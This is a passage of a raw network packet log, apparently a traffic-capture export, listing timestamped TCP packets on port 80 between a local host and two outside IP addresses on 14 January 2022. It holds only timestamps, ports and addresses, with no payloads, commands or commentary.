Jan 14, 2022 20:24:04.704785109 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.704798937 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704814911 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704832077 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704848051 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704864979 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704881907 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704885960 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.704891920 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.704895020 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.704899073 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704916954 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704933882 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704936981 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.704951048 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704967976 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704984903 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705002069 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705003023 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705009937 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705019951 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705035925 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705053091 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705070019 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705085993 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705102921 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705106020 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705115080 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705120087 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705136061 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705137014 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705142021 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705157042 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705166101 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705173969 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705192089 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705209017 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705224991 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705243111 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705277920 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705285072 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705286026 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705286980 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705302954 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705342054 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705358982 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705370903 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705378056 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705378056 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705396891 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705399990 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705414057 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705434084 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705451012 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705452919 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705459118 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705468893 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705498934 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705514908 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705530882 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705547094 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705558062 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705564976 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705565929 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705584049 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705588102 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705595970 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705601931 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705624104 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705638885 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705641031 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705658913 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705677032 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705693007 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705712080 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705729008 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705739975 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705744982 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705748081 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705751896 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705763102 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705779076 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705795050 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705812931 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705827951 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705843925 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705866098 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705872059 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705872059 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705876112 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705879927 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705889940 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705908060 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705924988 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705940962 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705944061 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.705957890 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705975056 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.705991030 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.706007957 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.706020117 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.706023932 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.706027031 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.706032038 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.706043005 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.706059933 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.706075907 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.706091881 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.706109047 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.706125021 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.706131935 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.706137896 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.706141949 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.707204103 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.707223892 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.723283052 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723303080 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723314047 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723332882 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723350048 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723366022 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723382950 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723400116 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723417044 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723424911 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.723434925 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723443985 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.723448038 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.723453045 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723453999 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.723470926 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723479986 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.723490953 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723503113 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.723506927 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723526001 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723542929 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723560095 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723577976 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723594904 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723611116 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723613024 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.723618984 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.723623037 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.723630905 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723648071 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723654032 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.723666906 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723685026 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723701954 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723718882 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723735094 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723747969 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723759890 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723772049 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723783016 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723797083 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723800898 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.723809958 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723809958 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.723824978 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723840952 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723879099 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723896027 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723913908 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723915100 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.723922014 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.723926067 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.723931074 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723948002 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723959923 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.723967075 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723983049 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.723999977 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724015951 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724033117 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724049091 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724051952 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724060059 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724064112 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724066973 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724085093 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724102974 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724119902 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724137068 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724153996 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724157095 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724162102 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724165916 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724172115 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724189043 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724205017 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724222898 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724240065 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724256039 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724265099 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724271059 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724272966 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724287987 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724292040 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724292994 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724309921 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724327087 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724330902 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724344969 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724361897 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724379063 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724395037 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724411964 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724430084 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724446058 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724446058 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724455118 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724457979 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724464893 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724478006 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724482059 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724500895 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724505901 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724519014 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724534988 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724550962 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724569082 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724586010 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724595070 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724601984 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724605083 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724618912 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724623919 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724625111 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724642038 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724651098 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724659920 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724677086 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724694014 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724709988 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724725962 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724741936 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724755049 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724759102 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724761009 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724764109 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724777937 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724793911 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724811077 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724828005 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724844933 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724860907 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724862099 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724868059 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724873066 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724881887 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724898100 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724915028 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724931002 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724946976 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724947929 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724953890 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724956989 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.724963903 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724982023 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.724997997 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.725194931 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.725203037 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.725205898 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.726406097 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.726428032 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.744955063 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:06.043193102 CET	49905	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:06.060775995 CET	80	49905	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:06.060879946 CET	49905	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:06.061106920 CET	49905	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:06.061125994 CET	49905	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:06.078372002 CET	80	49905	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:06.184000969 CET	80	49905	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:06.184082031 CET	49905	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:06.197180986 CET	49905	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:06.214569092 CET	80	49905	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:06.997890949 CET	49906	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:07.015191078 CET	80	49906	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:07.015295982 CET	49906	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:07.015403032 CET	49906	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:07.015424013 CET	49906	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:07.032515049 CET	80	49906	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:07.137507915 CET	80	49906	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:07.137813091 CET	49906	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:07.137861013 CET	49906	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:07.155077934 CET	80	49906	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:07.292781115 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.349482059 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.349805117 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.354875088 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.440274954 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.448729038 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.448764086 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.448790073 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.448813915 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.448824883 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.448868036 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.505692959 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.505742073 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.505783081 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.505824089 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.505886078 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.505894899 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.505927086 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.505939960 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.505965948 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.505974054 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.506007910 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.506051064 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.562429905 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.562474966 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.562515020 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.562556028 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.562582970 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.562594891 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.562619925 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.562637091 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.562679052 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.562688112 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.562716961 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.562766075 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.562766075 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.562808037 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.562848091 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.562885046 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.562886953 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.562927008 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.562931061 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.562967062 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.563010931 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.563023090 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.563050985 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.563148975 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.619570017 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.619600058 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.619622946 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.619647980 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.619673014 CET	80	49907	81.163.30.181	192.168.2.3
